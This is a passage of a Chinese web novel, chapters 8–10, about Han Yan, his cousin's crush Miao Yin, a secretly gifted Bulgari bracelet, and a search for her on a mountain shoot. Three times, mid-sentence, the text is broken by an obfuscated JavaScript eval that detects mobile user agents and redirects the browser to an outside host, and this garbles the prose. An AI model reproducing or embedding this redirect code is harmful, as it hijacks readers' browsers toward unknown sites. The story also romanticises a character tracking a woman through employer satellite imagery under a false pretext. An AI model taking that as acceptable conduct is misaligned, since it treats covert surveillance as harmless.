果不其然,江阳秋拿起一瓶啤酒,猛灌一口,使劲往桌上一杵:“哥,我想了两天,终于想通了一件事。” 韩砚冷冷地看着他,等待下文。 “我真的喜欢上苗音了!非常非常喜欢!无时无刻不算着日子想什么时候能和她见面,一有消息提醒就会期待是不是她,看到超市里的三文鱼,都会想这是她最爱吃的东西!” 江阳秋说完,得出结论:“我好像栽了。” 韩砚听完,没什么表情:“然后呢?” “你知道我是怎么发现我栽了的吗?是在那天,我得知她成了我表姐。” 韩砚:“她成了你表姐,你反而更喜欢了?” 隔壁桌的几个人像是听到什么不得了的东西,频频回头看他们。 “不是这样的!”江阳秋解释,“是一想到会因为这层关系,我和她再也没有未来了,心里才发现原来我一点也舍不得她,不是有句话说,人总是要到失去的时候才知道珍惜吗?” 韩砚听完,目光极其微弱的闪烁了一下,短暂地沉默下来。 他说:“但就算你再喜欢她,有这样一层关系在,你们也没可能啊。” 韩砚万万没想到,今天说出的这句劝告,后来会讽刺地绕一个回旋,成为他自己的心魔。 8. 第8章 江阳秋说:“这就是我今天找你出来的主要目的。” 他将双手放到了韩砚的肩膀上:“哥,要是将来,家里反对我和她的事,你能不能站出来帮我说话?” 他眼神郑重,语气严肃,目光炯炯,韩砚甚至怀疑,他要是敢说一个不答应,江阳秋当场跟他断绝关系都不是不可能。 韩砚端着小巧的酒杯,小指在杯子上摩挲几下,反问他:“如果我没记错,你们应该还没在一起吧?” 江阳秋一愣。 “我看得出,你确实很喜欢她,跟你以前谈的那几个完全不一样。”他说,“但是你凭什么觉得,她愿意回应你的喜欢?” 江阳秋沉默了一秒,给自己找理由:“我们现在是暧昧期,证明她对我也是有好感的。” 韩砚抿了一口酒:“从有好感,到在一起,再到见家长,中间差着十万八千里,况且她……” 她可没那么容易被搞定。 不知是因为酒精,还是因为别的什么缘故,韩砚的脑海里,突然浮现出那双总是锋利而清醒的眼睛,突然想到她望向他时的模样。 很明显,苗音那样的人,比起谈恋爱,对赚钱的兴趣更大一点。 最终,韩砚没把剩下那半句话说完,而是话锋一转:“与其让我帮你说话,不如想点更实际的。” 江阳秋靠在座位上,说:“让我想想。” 他想了半天,似乎一时半会儿也没个头绪,不知哪根筋搭错,开始胡言乱语:“她真是我见过最特别的女生,我不知道怎么描述,就是,如果我是她,我肯定做不到她现在这样。” 韩砚上下扫他两眼,眼神中带着几分审视,慢悠悠地说:“是比你强。” 江阳秋的思维却因这句话跳开了:“她是个很要强的人,所以只靠砸钱肯定行不通。” 韩砚开始有点头疼。 他其实很不能理解江阳秋这种状态。 江阳秋喜欢苗音,这个他能理解,经过这几天的相处,他发现苗音这个人虽然心思深重,但也有能称得上是优点的地方,江阳秋这么一个从小生活在妈妈羽翼下的废物点心,会迷上苗音这类人,实在再正常不过。 韩砚唯一不能理解的是,只要提到苗音,江阳秋就像换了个人,变成了一个神经病——喜欢就大大方方喜欢,为什么非要绞尽脑汁讨她欢心?这不是自讨苦吃,自己找罪受吗? 他放下酒杯,语气不容置喙:“别跟我说这些,回家了。” 他站起身来,原本打算立刻回去了,却听还坐在位置上的江阳秋说道:“哥,我决定了。” 韩砚回头看着他,看见他脸上的神色无比肃穆:“我要认真追她。” 如同江阳秋了解韩砚一般,韩砚也了解这个弟弟,他知道他虽然做事总是不着调,没一副正形,可一旦说出这种话,就是真的打算一条路走到黑了。 这大概是他们家一脉相承的执拗。 他晦暗不明地望了他一眼,最终什么也没说,转身走向夜色之中。 ** 苗音对她的孔雀鱼保持着十足的新鲜感,她从网上搜罗了不少装饰品,一心要把鱼缸布置得漂漂亮亮。听说孔雀鱼产崽后,可能会误食幼崽,她还特地购入了繁殖隔离箱。 一大早,她起床了,第一件事不是去吃早饭,而是兴冲冲地抓起鱼食,还带上了手机打算拍照,好好记录一下它们的美丽。 然而,当她站在鱼缸面前,看清眼前的一切时,瞬间如遭雷击,彻底惊呆了。 鱼缸里,赫然多出了三条陌生的大鱼!它们通体漆黑,浑身布满醒目的白色圆点,苗音不认识那是什么鱼,乍一看有点像魔鬼鱼,但魔鬼鱼既没有那些白色的圆点,也不是这种纯黑色。这种奇特的配色,透着一股“身价不菲”的气息。 那她的孔雀鱼呢? 苗音找来找去,她的孔雀鱼已经消失了,她找半天,只在角落的水草间,找到一条孤 零零的、残缺的蓝色鱼尾,在水流中无助地飘荡,诉说着它的主人经历了什么可怕的事。 她的孔雀鱼,被这些丑陋的大鱼吃了! 啊啊啊啊啊! 苗音在心里崩溃呐喊:到底是哪个杀千刀的,把这些该死的鱼放到鱼缸里面的?! 正在这时,韩砚揉着额角从楼上下来了,他昨天喝了酒,本想多睡会儿,奈何上午有会,不得不早起。尽管衣着收拾得还算齐整,但他的头发理得还不是很顺,几根发丝桀骜不驯地在头顶炸开。 他走下楼梯,路过鱼缸面前,视线正好与苗音投来的目光撞在一起。 几乎不需要任何言语,两人瞬间都明白发生了什么事。 苗音想,看起来,凶手回到犯罪现场了。 韩砚想,糟了!这两种鱼原来是不能放在一起养的,他为什么会犯这种低级错误? 他走近鱼缸,淡水魟鱼仿佛没有吃饱,在水中不安分地游来游去,而昨天的那几条小鱼,显然已经被吃干抹净,连骨头都不剩了。 韩砚在心里骂了句我/操。 他只想着给魟鱼找个伴,怎么连“大鱼吃小鱼”这种最基本的常识都忽略了! 人甚至不能共情一天前的自己,韩砚百思不得其解,把鱼扔进鱼缸的时候,他脑子里都在想些什么啊? 韩砚低头看向蹲在地上的苗音,原本想说些道歉的话,然而,在撞上她眼睛的一瞬间,那些话就像被哽在了喉间,再也说不出半个字。 她的眼睛,真像某种具有攻击性的动物,像什么呢?像在蓄势捕猎,入侵般地进攻、掠夺,往什么地方的深处钻,韩砚在这一瞬间猛地意识到——像一条蛇,一条能瞬间缠紧人咽喉的蛇。 “韩先生,这支是我们2012年推出的Serpenti灵蛇系列手镯,您感兴趣吗?……韩先生?” 直到Sales的声音在耳边响起,韩砚才回过神来。 这时他的注意力,才重新聚焦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317049|183054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在柜台玻璃下,那支盘绕着的、闪着冷光的灵蛇手镯上。 Sales认识韩砚,他偶尔会陪韩永怡来Bvlgari挑首饰,虽然不常来,但凭借过目不忘的本事,和对有钱人那份敏锐的嗅觉,再加上,这位韩先生本就气质不俗,所以,她很容易便记住了他。 可今天这位韩先生,却是独自一人来的,一进门还没说一句话,就看到柜台上那支灵蛇手镯,也不知道在想什么,神游了起码有一分钟。 这支灵蛇手镯以玫瑰金打造,蛇头部分镶嵌橄榄石,蛇身镶嵌钻石,整支手镯较为纤细,非常适合女士佩戴。而这位韩先生,今年也不过才20岁出头,在他这个年纪,有一位心仪的女士,是再正常不过的事了。 于是,人精般的Sales立刻推测出,今天这位韩先生过来,是要为一位女士挑选首饰,看这浓情蜜意的眼神,大概率是在为她准备惊喜。 她迅速将手镯取出来,以便向客人展示,同时开始向他介绍设计理念:“这是Bvlgari经典的灵蛇造型,寓意新生、如蛇蜕皮般不断超越自我;蛇首部分用橄榄石镶嵌,暗喻生生不息的生命力与希望。韩先生……” 她的话还没有说完,就被韩砚打断了:“就这支吧。” 柜姐笑容不变,眉毛轻微地扬了一下:“好的,那需要什么尺寸呢?” 这……韩砚愣了一下,一时没有接话,他在脑海里回忆着什么,最后看了看Sales的手腕,道:“照着你手腕的尺寸拿吧。” 意思就是那位女士的手腕跟她的手腕差不多。 Sales毕恭毕敬地帮他包好,刷完卡后,韩砚拎着手镯,走出了Bvlgari专柜。 但这时候,他却开始犹豫起来。 其实他自己也不知道为什么会想到手镯,也许是在看到那双眼睛的同时,他瞬间想起曾经在柜台里见过的这支手镯。 他这么想,于是便这么做了,等反应过来时,手镯已经买好了。 道歉的礼物是买了,可是,该怎么送出去? 平心而论,他和苗音的关系谈不上亲近,甚至连“熟人”都算不上,仅仅是因为他的鱼咬死了她那几条不算名贵的孔雀鱼,就要送她一个10万元的手镯,这件事,真的是怎么看怎么奇怪。 不知为何,韩砚突然觉得自己现在的举动,活脱脱就是圈子里那些公子哥追求女生的做派,这个认知让他莫名烦躁,仿佛他真是在刻意讨好她,或是别有用心地追求她似的。 万一让她产生什么不好的幻想,例如说,觉得他特地挑选了这么适合她的手镯,是对她有爱慕之情,这就很麻烦了。 思前想后,为了避免引起这种不必要的误会,韩砚想了个自认为天衣无缝的好办法。 为了实施这个好办法,他将盒子里写着购买日期的保修卡取了出来,还特地折回专柜,让SA帮他换了个旧包装,SA虽然觉得奇怪,但既然是客人的需求,当然是尽力满足了。 9. 第9章 很闪。 鱼被吃了,那几条大鱼还在水族箱里游来游去,苗音已经没有了再养鱼的想法。 她的鱼被吃,也许这件事,的确是韩砚的不对,可再怎么说,这里都是他的家,她一个外来者,又怎么好意思,或者说哪里来的立场责怪他呢? 所以那天,在韩砚给她道歉之后,她以幽默的语言化解了这场闹剧,她说:“你们养鱼都养这么别致的吗?” 在这之后,两人也没再说多的话。 这也让苗音脑海里的某个念头愈发强烈:她想要一个房子,想要一个家,是只属于她自己的,和妈妈的家。 这个房子不需要多大,她按照喜欢的风格装修好后,可以空出一个房间当作书房或者衣帽间,还可以随便养鱼,想养多少养多少,不用担心被别人的鱼吃掉。 有朝一日,她一定要实现这个愿望。 正这么想着,林阿姨不知道从什么地方走了出来,看见她,神神秘秘地冲她招手,像是找她有事:“小音!” “林阿姨,有什么事吗?”苗音走了过去,这时她就看到,林阿姨手上拿着一个口袋,像是一个礼品袋,淡金色的。 走近了,她看见袋子上一个银色的“BVLGARI”标识。 林阿姨拉住她的手臂,娓娓道来:“是这样的,最近,不是眼看着元旦快到了吗?所以我们都正在提前收拾家里,方便到时候布置。” “嗯……”苗音嘴上应着,心里却感到十分纳闷。 这不是才10月底吗?离元旦节还有整整两个月,怎么这么早就开始收拾家里了,难道说是有钱人的家太大了,需要收拾两个月才能收拾出来吗? “在整理的时候,我们发现了这个镯子。”林阿姨把手里的礼物袋递到苗音身前,“这个是韩老板去年买的元旦礼物,他这个人,一到元旦就会采购各种各样的礼物,而这件一直搁置在那里,家里也没有适合戴它的女性,所以说,这个你就拿着吧。” 她把袋子塞到苗音怀里,苗音看了一眼淡金色的口袋,被吓了一大跳。 在模特圈内,宝格丽的大名谁人不知? “不不,林阿姨,这个太贵重了,我不能要,还是放回去吧。” “你放心吧,我都已经向韩老板请示过了,他说这些东西我们自己处置就好,旧的不去新的不来,所以啊,你就拿着吧!” 林阿姨行事圆滑,苗音再会来事,遇到这种老江湖,也像个新兵蛋子,她不由分说地把礼盒挂到苗音的手腕上,临走前,还补充道: “对了,这件事你就不要再去问韩老板了,他平时不问家事,最讨厌听到这些小事了。我已经跟他请示过,你要是再去问他,他会很烦的。” “可我……”苗音的话还没说完,林阿姨就甩开步子,忙不迭径直走了。 “我继续干活去了,别来打扰我。”她说。 苗音追了上去,奈何林阿姨脚步飞快,又故意跟她绕圈,很快就不见了踪影。 苗音站在原地,望向空无一人的走廊,又低头看看手上的袋子,一时之间,不由得心生迷茫。 这对吗?这不对吧。 是她太穷了,低估了有钱人的大方程度吗?整件事情,按照林阿姨的说法,虽然的确讲得通,但真的怎么看怎么奇怪啊。 苗音摸不着头脑地回到了房间,她从袋子里拿出里面装着饰品的盒子,一打开,一支通体金黄,镶着钻石的手镯就出现在她面前。 很闪。 很漂亮。 很贵。 灵蛇手镯泛着细腻的光泽,流转间折射出细碎的光芒,蛇头的绿色橄榄石与黄金底色相映生辉,显得愈发动人。 Serpenti黄金手镯,苗音认得它,官网售价103000元,属于她只敢在社交软件上刷一刷,一瞻美貌的奢侈品。 韩砚的巧思没有效,因为苗音认不出宝格丽新旧包装的区别,根本没发现包装是旧的,但有一件事她能确定。 那就是以目前了解的情况来看,韩永维叔叔,应该不太会有这个品味。 如果是他要买首饰,大概率会中意那些浮夸的大件黄金饰品,或是浑身上下都写着“我很贵”的款式,而不是这么个精致小巧的物件。 再加上林阿姨刚才的说辞实在可疑,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317050|183054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概率,是她在撒谎骗她。 可是,要是这个东西不是韩永维买的,那会是谁? 已经和他离婚的前韩太太? 整件事变得悬疑起来,苗音思来想去,觉得她必须搞清楚这个手镯到底是哪里来的,她翻来覆去地看着这个镯子,心里突然冒出一个荒谬的念头。 该不会她莫名其妙卷入了什么豪门争斗吧?其实这个手镯是什么忌讳的东西,她一戴上,就会踩到韩永维的雷区? 但转念一想,又觉得不太可能,林阿姨人很好,没理由会害她,再者说,她不过是个小角色,谁会费这个心思来针对她呢? 正在苗音努力想办法,到底该怎么搞清楚,手镯到底是谁买的时候,她东翻西翻,突然在手镯上一个隐蔽的位置,摸到一串极其微小的、难以被发现的凹陷。 如果不是足够细心,这个凹陷非常难被摸到。 在确认几遍之后,她感觉到,按照凹陷的长度来看,仿佛是编号之类的东西。 于是,苗音看向那串编号,可因为它实在微小,辨认起来有些吃力,于是她拿起手机,拍下了编号,然后放大,终于看清楚那串由字母和数字组成的编号。 说不定能通过这个编号,查询到一些信息。 这种逐步接近真相的感觉,使她的心跳不禁有些加快,她跑到电脑面前坐下,开机,主机风扇呼呼地转了起来。 少顷,电脑屏幕亮了起来,亮光打在苗音的面庞上,她莫名有些紧张,但大脑又十分冷静,她流畅地点开浏览器,输入宝格丽官方网址,官网笨拙地弹出来后,她在“客户服务”这个选项里面,找到一个链接:产品真伪与保修信息。 苗音点进去,将手机上那串放大的编号,一字不差地输入在查询框里,紧接着,网页开始转圈加载。 大概几十秒后,她的电脑屏幕上弹出一串信息。 购买日期:2015/10/25 购买地点:锦川市国际金融中心专卖店 昨天买的,购买地点在锦川市,又能命令林阿姨撒谎,除了韩砚之外,还能有谁? 真相大白了。 10. 第10章 事情其实并不复杂。 昨天,他的鱼咬死了她的鱼,今天,他买了这个手镯道歉,苗音想来想去,实在想不出除了道歉之外,他送她贵重礼物的第二个理由。 可为什么要这么大费周章?要让林阿姨撒谎,绕这么一大圈才交到她手里? 苗音隐隐有些理解——咬死鱼那件事,说到底不过是几十块钱的小摩擦,大家都是成年人,顶多他重新买几条鱼赔她就算两清了。可为了这点小事,买一支价值10万的镯子送她,这举动本身就透着一股说不出的怪异。 甚至容易让人误解他是不是别有用心。 然而,理解归理解,她也知道,韩砚是好意。按理说,天上掉馅饼的好事,要是换个人,她大概早就欢天喜地地收下,说不定还会调侃一句“老板大气”,并祈祷这种平白无故给她送钱的好事再来几次。 毕竟,她最大的愿望可就是躺着赚钱。 偏偏这个人,是韩砚。 当这个人是韩砚的时候,苗音心里却没有半分不劳而获的喜悦,反而像被什么东西沉沉地堵着,闷得发慌。为什么?她自己也不知道,明明好事降临,她却高兴不起来,这感觉十分别扭。 她思考了很久,发现是自己的自尊心在作祟。 为了这么一点小事,也许是他随手一买,随手送出的礼物——就像她买一杯奶茶。可对她而言,却意味着需要精打细算、省吃俭用花上好几年的时间,才能攒下来的钱。 蛇镯静静躺在那里,钻石折射出冷冽的光芒,璀璨夺目,耀眼迷人,可苗音凝视着它,却觉得那光芒格外刺眼,像暗室里骤然亮起的探照灯,无情而残酷地照出了她和他之间那道无形的、巨大的鸿沟。 最关键的是,这份歉意实在是过于贵重了,她根本还不起,自然也做不到轻松地接受这看似天降的幸运。 这情绪来得太陡,苗音自己都觉得矫情,烦闷之下,她给石念光讲了这事。 石念光秒回。 石念光:【我草,闺蜜。】 石念光:【分我点钱闺蜜。】 石念光:【你觉得我去你家门口要饭怎么样?】 苗音:【……】 苗音:【我们一起吧。】 石念光:【我们组成光音丐帮,要到的饭钱五五分。】 石念光:【好了好了,说回正事,他既然送给你,证明在他心里你就是值得的,你们这些聪明人,老是喜欢把事情想往复杂了想,还是要学会接受别人的心意啊。】 跟她这么一说,苗音的心情也纾解了几分,不论如何,韩砚的出发点都是好的,只是现在,这个镯子和她显得不搭,她还没有能够压住它的气场。 她把镯子收好,在心里暗自发誓,总有一天,这支蛇镯会成为她最不起眼的一件饰品。 苗音想,等以后回赠个礼物,这件事,就这么过去了吧。 不知道是不是镯子真的带来了好运,就在那天中午时分,苗音接到了一个好消息:有品牌找她拍摄双十一的大单子。 虽然称不上规模有多大,甚至给的报酬都不算太高,但合作方是女装行业里的头部品牌,属于提及女装必想到的TOP级商家。 在这之前,苗音只接过一些不知名淘宝女装的模特工作,偶尔会接到小网红店的单,但这种行业顶尖、家喻户晓的女装店铺,她还是第一次合作。 尽管这次要拍摄的套装,只是这家品牌副线产品,属于非主推系列,但能跟这种知名品牌合作,对她来说,已经是难得的好机会。 跟苗音对接的姐姐说,他们之所以选择她,是因为看到了她那条极具特色的妆容视频,又了解到她有淘宝模特的经验,正好他们的副线产片计划在淘宝上试水,便向她发出了合作邀请。 苗音格外重视这次机会,提前查了品牌的资料,中午一起吃饭的时候,她在饭桌上讲了这件事。 “就是那个‘流明’嘛?不错不错,很大的企业了。”韩永维听后,称赞道。 他口中的“流明”就是这次苗音的甲方,英文名叫“LUMEN”,因为他不喜欢讲英文,所以用了本土化的品牌名。 “嘶……”讲到这里,韩永维像是想起什么,“我记得那个‘流明’,是不是在公司旁边有一个拍摄中心?不会是在那里拍吧,韩砚你给她看看呢?” 韩永维发话,两人立刻配合,苗音点开微信,把对接人发给她的位置调出来,递给了对面的韩砚,一边说:“这次除了去拍摄中心,还要去拍外景。” 韩砚接过手机,放大地图上的导航,确认了位置,但还没来得及开口,突然看到了她手机里面自动弹出的微信消息。 石念光:【但有个事你要注意点。】 这个名叫“石念光”的人打字飞快,几乎是下一秒就发来了第二条信息。 石念光:【你弟为什么送你镯子?他是不是对你有想法。】 石念光:【男的都贼有心机,你可千万要防着点。】 韩砚的瞳孔有一瞬间的放大,不过幸好,她的手机没有提示音,避免了一场尴尬,很快,他若无其事地把手机还给了苗音,确认道:“是在公司那边。” “那很好啊,到时小音拍摄完,可以去公司坐坐,参观一下,下班让韩砚载你回来。” 面对韩永维这个客气的建议,苗音也只能是笑着点点头,其实迄今为止,她和韩砚甚至连微信都还没有加上。 吃过午饭后,苗音便出门试镜去了,不知为何,在临走前,她总觉得韩砚看她的眼神有点奇怪,像是有什么话要对她说,不过时间匆忙,她没空来得及深究,急匆匆出了门。 可这一次的拍摄,却和苗音想象的流程截然不同,等她到了拍摄中心,刚化完妆,却被品牌总监告知计划有变,因为考虑到后面几天的暴雨预警,必须在封山前完成雪霁山的外景拍摄。 就这样,苗音坐上了品牌方的车子,前往拍摄景点,位于锦川市50公里外的雪霁山。 同一天的下午,韩砚去公司开“坤灵星座”项目进度会,他指尖轻轻敲着,做数据分析,团队里的人和他讨论着卫星轨道优化和载荷功耗的问题,他凝视着屏幕上的三维影像,沉声应着,思绪却始终有些游离。 他还是得去找她一趟,把这个误会解释清楚,顺带捎她回家。 会议结束,韩砚就驱车前往LUMEN拍摄中心,他步履沉稳地穿过大厅,剪裁考究的黑色大衣随之摆动,他走到前台,问起苗音在哪个摄影棚拍摄。 前台看他气场分明,又穿一身低调的高定服装,但尽管如此,她还是谨慎地说道:“今天是有一个叫苗音的模特过来拍摄,请问您是?” 韩砚顿了一下,在思考该怎么解释他和她的关系,但想了想,这种场合还是实话实说比较好,原本想说“我是她弟”,又说不出口。 于是他说了另一句实话:“我是来接她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320102|183054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 是男朋友?任何人听到这句话,都会忍不住往这方面想,她怎么没有这么帅的男朋友,前台心想。 “您稍等。”她查询了一下登记册,似乎是发现了什么,“她们组计划有变,今天去雪霁山出外景去了,她没跟您讲吗?” 韩砚目光流转,眼中闪过几分意外,最后闷闷地向前台说:“谢谢。” 他折返,上了车,却一直没启动,而是坐在驾驶座上,手指无意识地敲打着方向盘,此时还没到晚高峰,车窗半开着,晚秋的风冷冽地钻进来。 没找到她,他突然觉得有些烦躁。 然而,不过半分钟,韩砚便像是做好了某种决定,他踩下油门,黑色车头折射出一道冷光,载着他朝公司的方向返回。 韩砚有个毛病,越是他干不成的事,他越想干,越是找不到她人,他就越要做点什么。 雪霁山山顶海拔有2000米,里面两步一瀑布,气温远低于锦川市,入夜后更是刺骨。 真的要找人,无异于大海捞针。 韩砚想起天穹星链的几颗光学卫星和SAR卫星轨道,他心算了一下时间,很巧的是,其中一颗SAR卫星应该在数小时前刚好飞越雪霁山的上空。 在路上,韩砚拨了一个电话,那头很快接通。 他在蓝牙耳机里说:“是我,韩砚。调取轨道编号‘TS-7’的SAR卫星,关于雪霁山区域最近一次过顶的回传数据,我十分钟后到公司。” 对方愣了下:“你调那边的影像做什么?跟你待的项目没关系吧?” 韩砚给出了一个无懈可击的理由:“我们在评估一种新算法,需要复杂地形的原始数据做验证,雪霁山的地貌很典型。” 公司里知道他身份的人不多,跟他通话的这位算一个。 太子爷发话,能说什么,等韩砚到公司的时候,原始的雷达数据已经经过初步处理,呈现在遥感软件上。 若是对面的人知道韩砚调用这些价值不菲的数据,只是为了从数百个热源信号中筛选一个人,一定会大骂他是不是脑子有病。 雪霁山很大,但韩砚并不急,毕竟,适合拍摄的地点也就那么几个,他根据地形图和经验,将目光锁定在几个可能的区域,逐一排查。 终于,在入口处,他发现了一组异常明亮的散射点,他知道,那是人造车辆,以及拍摄装备在成像图上的特征。 他切换到另一颗高分辨率光学卫星在同一区域、相近时段的影像库,把光学影像与SAR影像进行配准叠加,进一步调整图像的清晰度。 在排除了几处错误信号后,他锁定了目标。 他不断放大,并对图像进行锐化处理。 他看见了,拍摄似乎已经结束,几个模糊的人影聚集在一起,尽管面容无法辨认,但他还是根据苗音的各种特征,例如她今早出门时,穿了一件白色外套,就这么无误地、准确地找到了她。 他能辨认出她在笑,但还没没停留太久,很快,她的身边出现一个模糊的男性身影,离她很近,他看见这个男人的像素轻微位移了一下,这说明,两人之间有了什么亲密的举动。 韩砚平静地看着眼前的一切,他心中的烦躁并没有随之褪下去,反而沉闷了几分。 就在这时,他的手机响了起来,他接起,那头传来江阳秋的声音。 “喂?哥,我陪音音来雪霁山了,你帮我跟我妈打打掩护。”